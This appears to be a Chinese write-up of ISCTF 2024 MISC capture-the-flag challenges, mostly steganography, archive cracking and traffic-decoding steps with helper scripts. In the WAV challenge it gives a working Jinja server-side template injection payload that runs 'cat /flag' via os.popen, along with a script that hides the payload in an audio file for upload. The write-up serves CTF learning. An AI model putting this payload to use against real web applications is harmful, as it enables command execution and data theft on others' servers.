ISCTF的MISC复现
1. 小蓝鲨的签到02
随波逐流

识别问题加上IS即可
2. 数字迷雾:在像素中寻找线索
还是随波逐流

加个}
3. 小蓝鲨的签到01
关注公众号发送ISCTF2024即可
4. 小蓝鲨的问卷
答完得flag
5.少女的秘密花园
随波逐流检测有隐藏文件foremost分离
得到base_misc
还有隐藏文件,用aapr纯数字爆开zip,得到flag.txt

iv明显是个png转base64,我们转回去

得到png,再次放进随波逐流,自动修复宽高

最后盲文对照表

得到,最后base32解密

得到flag
6.赢!rar
360zip秒掉

再随一下

7.老八奇怪的自拍照
根据题目521,rgb通道有个zip,save bin提取出来

拖进010,删去多余部分并保存

正常解压图片,在图片属性中找到密钥

steghide解密得到flag.txt


8.File_Format
改zip后缀,aapr纯数字爆破出密码

用bandizip智能解压


9.watermark
key1,文本水印https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html

key2,图片盲水印

得到FAAqDPjpgKJiB6m64oRvUfta9yJsBv
打开zip
搜索isctf即可

10.秘密
puzzlesolver,伪加密修复并强制解压得到jpg图片

拖进010发现password:ISCTF2024

接着用oursecret解密

打开文件得到txt

零宽隐写

11.奇怪的txt
根据题目叙述,我们找到约瑟夫环
https://blog.csdn.net/code_welike/article/details/133056030
https://blog.csdn.net/xiaoxi_hahaha/article/details/113036281?ops_request_misc=%257B%2522request%255Fid%2522%253A%252253372B34-A180-4A77-886E-4A3A53437B2F%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=53372B34-A180-4A77-886E-4A3A53437B2F&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-113036281-null-null.142v100pc_search_result_base2&utm_term=%E7%BA%A6%E7%91%9F%E5%A4%AB%E7%8E%AF&spm=1018.2226.3001.4187
ai辅助编写排序脚本
点击查看代码
import os
def josephus_circle(num_files, step):
files = list(range(1, num_files + 1)) # 文件编号从1到num_files
result = [] # 用于存放挑选的文件编号
index = 0 # 起始位置
# 进行约瑟夫环的数数与挑选过程
while files:
index = (index + step - 1) % len(files) # 计算挑选的位置
result.append(files.pop(index)) # 将文件编号加入结果并从列表中移除
return result
# 调用约瑟夫环函数得到文件顺序
selected_files = josephus_circle(137, 7)
# 设定要读取的文件夹路径
folder_path = r"C:\Users\Lenovo\Desktop\ISCTF\奇怪的txt" # 请替换为您的文件夹路径
# 获取文件夹中的所有 .txt 文件
all_files = [f for f in os.listdir(folder_path) if f.endswith('.txt')]
# 确保文件名正确的顺序
ordered_files = []
for file_number in selected_files:
file_name = f"{file_number}.txt"
if file_name in all_files:
ordered_files.append(file_name)
# 创建输出文件
with open("flag.txt", "w", encoding="utf-8") as output_file:
for file_name in ordered_files:
try:
# 读取每个文件的内容
with open(os.path.join(folder_path, file_name), "r", encoding="utf-8") as f:
content = f.read().replace(" ", "") # 删除所有空格
content = "\n".join([line for line in content.splitlines() if line]) # 删除所有空行
# 写入到输出文件中
output_file.write(content + "\n")
except FileNotFoundError:
print(f"Warning: {file_name} not found and will be skipped.")
# 输出文件顺序
print("文件排列顺序:", ordered_files)
生成txt文件,接着在进行解密
点击查看代码
import base64
def recursive_base64_decode(encoded_content):
try:
# 尝试解码
decoded_content = base64.b64decode(encoded_content)
# 将解码后的内容转换为字符串
decoded_str = decoded_content.decode('utf-8')
# 如果解码后的内容仍然包含 Base64 标志字符,则递归解码
if "==" in decoded_str or len(decoded_str) % 4 == 0:
return recursive_base64_decode(decoded_str)
else:
return decoded_content
except Exception as e:
# 如果解码失败,说明已经解码完毕,返回当前内容
return decoded_content
# 读取包含 Base64 编码内容的文件
with open('flag.txt', 'r') as file:
encoded_content = file.read()
# 递归解码
decoded_content = recursive_base64_decode(encoded_content)
# 将最终解码后的内容保存为 key.bin
with open('key.bin', 'wb') as output_file:
output_file.write(decoded_content)
print("解码完成,结果保存为 key.bin")

12.神秘的ping
拖进010,发现字符倒转,用filereverse倒转

发现是流量包,根据ping,找到https://blog.csdn.net/qy532846454/article/details/5429700
我们用tshark导出icmp到txt中
tshark -r inversion.pcap -Y "icmp.type == 8" -T fields -e ip.ttl > output.txt

接着将 63 替换为00,127替换为01,191替换为10,255替换为11 ,不换行
点击查看代码
# 读取输入文件,替换内容,并写入输出文件
def replace_values(input_file, output_file):
# 创建一个替换字典
replacements = {
"63": "00",
"127": "01",
"191": "10",
"255": "11"
}
with open(input_file, 'r') as file:
content = file.read()
# 替换值
for old_value, new_value in replacements.items():
content = content.replace(old_value, new_value)
# 替换换行符为空
content = content.replace('\n', '')
# 将结果写入输出文件
with open(output_file, 'w') as file:
file.write(content)
# 调用函数
replace_values(r"C:\Users\Lenovo\Desktop\output.txt", 'aaa.txt')

得到二进制字符串,用puzzlesolver

13.像素圣战
根据名字,翻译成英文就想到pixeljihad
https://sekao.net/pixeljihad/

密码isctf2024

得到01二进制
puzzlesolver转字符

13.神秘的wav
通过题目上传题目给的音频得到路由source,访问发现源码,代码审计,发现render_template_string渲染音频内容,故纯在ssti,先创建一个空音频文件,然后再让ai写一段代码往音频里面写内容。
最终构造{{url_for.globals.os.popen('cat /flag').read()}}。
点击查看代码
import wave
import numpy as np
def embed_message(wav_file, message, output_file):
# 将消息转换为二进制
message_bits = ''.join(format(ord(c), '08b') for c in message)
# 打开原始WAV文件
with wave.open(wav_file, 'rb') as wav:
params = wav.getparams() # 获取WAV文件的参数
frames = wav.readframes(wav.getnframes()) # 读取所有音频帧
frames_array = bytearray(frames) # 将音频帧转换为字节数组
# 确保消息可以被嵌入,检查音频数据的长度是否足够
if len(message_bits) > len(frames_array):
raise ValueError("消息太长,无法嵌入到音频文件中!")
# 遍历每一位消息并修改音频帧的最低有效位
for i in range(len(message_bits)):
if message_bits[i] == '1':
frames_array[i] |= 0b00000010 # 将最低有效位置为1
else:
frames_array[i] &= 0b11111101 # 将最低有效位置为0
# 创建新的WAV文件并保存修改后的音频数据
with wave.open(output_file, 'wb') as output_wav:
output_wav.setparams(params) # 设置输出文件的参数
output_wav.writeframes(bytes(frames_array)) # 写入修改后的音频帧
print(f"消息成功嵌入到 {output_file} 文件中!")
# 示例使用
embed_message("test.wav", '{{url_for.__globals__.os.popen(\'cat /flag\').read()}}', '2.wav')
上传wav文件,得到flag

ISCTF的MISC复现的更多相关文章
- ISCC之misc复现-High起来!
题目是赛后经高人指点,跳过坑的,各位看官看看就好 文件下载下来是一张png图片,但是无法打开,估计要修复一下,文件头修复一下,png格式文件头89504EE7 打开是一张二维码,经过扫描后,得到一串中 ...
- 蝉知CMS5.6反射型XSS审计复现
0x00 源起 最近在深入学习反射XSS时遇到蝉知CMS5.6反射型XSS这个案列,乍一看网上的漏洞介绍少之又少,也没有详细的审计复现流程.虽然是17年的漏洞了,不巧本人正是一个喜欢钻研的人.这个CM ...
- 2019强网杯部分misc&web
0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- Apache Solr JMX服务远程代码执行漏洞复现
0x00 漏洞介绍 该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险. Apache Solr的8.1.1和8.2.0版本的自带配置文件s ...
- Solr 8.2.0最新RCE漏洞复现
漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...
- [复现]GXY2019
前言 当时GXY的时候在复习中,临时抱拂脚,没时间打比赛.就写了一题./(ㄒoㄒ)/~~ babysqli 当时做了写了笔记. 过滤了or,()其中or可以用大小写绕过,可以用order by盲注 第 ...
- LSB隐写加密MISC
没有做过LSB隐写加密的题目,在buuoj上面做到了就记录一下,估计后面很长的时间都会在这个平台上面训练自己的MISC和WEB,是很好的平台,把很多比赛的原题和安恒的周赛的复现了. 题目是MISC里面 ...
- [GXYCTF2019] MISC杂项题
buuoj复现 1,佛系青年 下载了之后是一个加密的txt文件和一张图片 分析图片无果,很讨厌这种脑洞题,MISC应该给一点正常的线索加部分脑洞而不是出干扰信息来故意让选手走错方向,当时比赛做这道题的 ...
- GKCTF X DASCTF 2021_babycat复现学习
17解的一道题,涉及到了java反序列化的知识,学习了. 看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚. 打开后是个登录框,sign up提示不让注册, ...
随机推荐
- Ansible - [01] 入门&安装部署
自动化运维工具,可以批量远程其他主机并进行管理操作 一.什么是 Ansible Ansible首次发布于2012年,作者:Michael DeHaan,同时也是Cobbler的作者,Ansible于2 ...
- MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
MongoDB 8.0这个新功能碉堡了,比商业数据库还牛 引言 MongoDB 8.0已经推出有一段时间了,相比之前的版本推出的新功能,8.0版本的新功能集中在提升性能和可维护性上面,可以说是目前性能 ...
- linux 删除文件提示 opration not permitted 处理方法(宝塔删除文件提示无法删除)
问题描述:linux系统中使用rm -rf强制删除文件,提示 opration not permitted,无法删除成功(宝塔删除文件提示无法删除),该问题确定为已关闭所有安全软件及防止恶意篡改的软件 ...
- .net 8 C# 集成 AWS Cognito SMS/Email 注册与登录
本文主要分为三个部分: 1.描述 cognito 涉及的专业术语 以及 交互流程 2..net 集成的代码 3.感想 * 阅读提示 :鼠标悬停在 章节标题 上可见 文章目录 1. Cognito 概念 ...
- Avalanche公链深度解析:创新共识、亚秒级最终性与生态竞争力
摘要:Avalanche定位为一个高性能.可扩展的Layer 1区块链平台,但它并不是一个新公链,其主网于2020年9月21日正式上线,有Ava Labs开发.Ava Labs成立于2018年,总部位 ...
- mysql frm、MYD、MYI数据文件恢复,导入MySQL中
前言 .frm..MYI..MYD 文件分别是 MySQL 的 MyISAM存储引擎存储的表结构.索引.数据文件. 简单方法恢复数据 .frm..MYI..MYD文件如果直接以文本打开,全部会以二进制 ...
- 搭建自己的OCR服务,第一步:选择合适的开源OCR项目
一.OCR是什么? 光学字符识别(Optical Character Recognition, OCR)是指对文本资料的图像文件进行分析识别处理,获取文字及版面信息的过程. 亦即将图像中的文字进行识别 ...
- 『Plotly实战指南』--柱状图绘制高级篇
在数据可视化的世界里,柱状图是一种直观且强大的工具,用于展示数据的分布.比较和趋势. 从基础的柱状图出发,我们可以进一步探索更复杂的图表类型,如分组柱状图和堆积柱状图,它们在处理多维数据和复杂关系时具 ...
- C# 从零开始使用Layui.Wpf库开发WPF客户端
一.简介 最近需要开发一个桌面版的工具软件,之前用得更多的是Winform,作为一个全干工程师,我们也要兼顾下WPF,趁此机会再研究下开源控件库. MaQaQ:Winform真好用(有个HZHCont ...
- Code First 初始化数据时发生异常
问题重现 用Entity Framework的Code First默认生成的数据库文件被我直接删除了, 然后不管怎么重新编译等等, 运行后总是会报错如下: 解决方案同下 Cannot attach t ...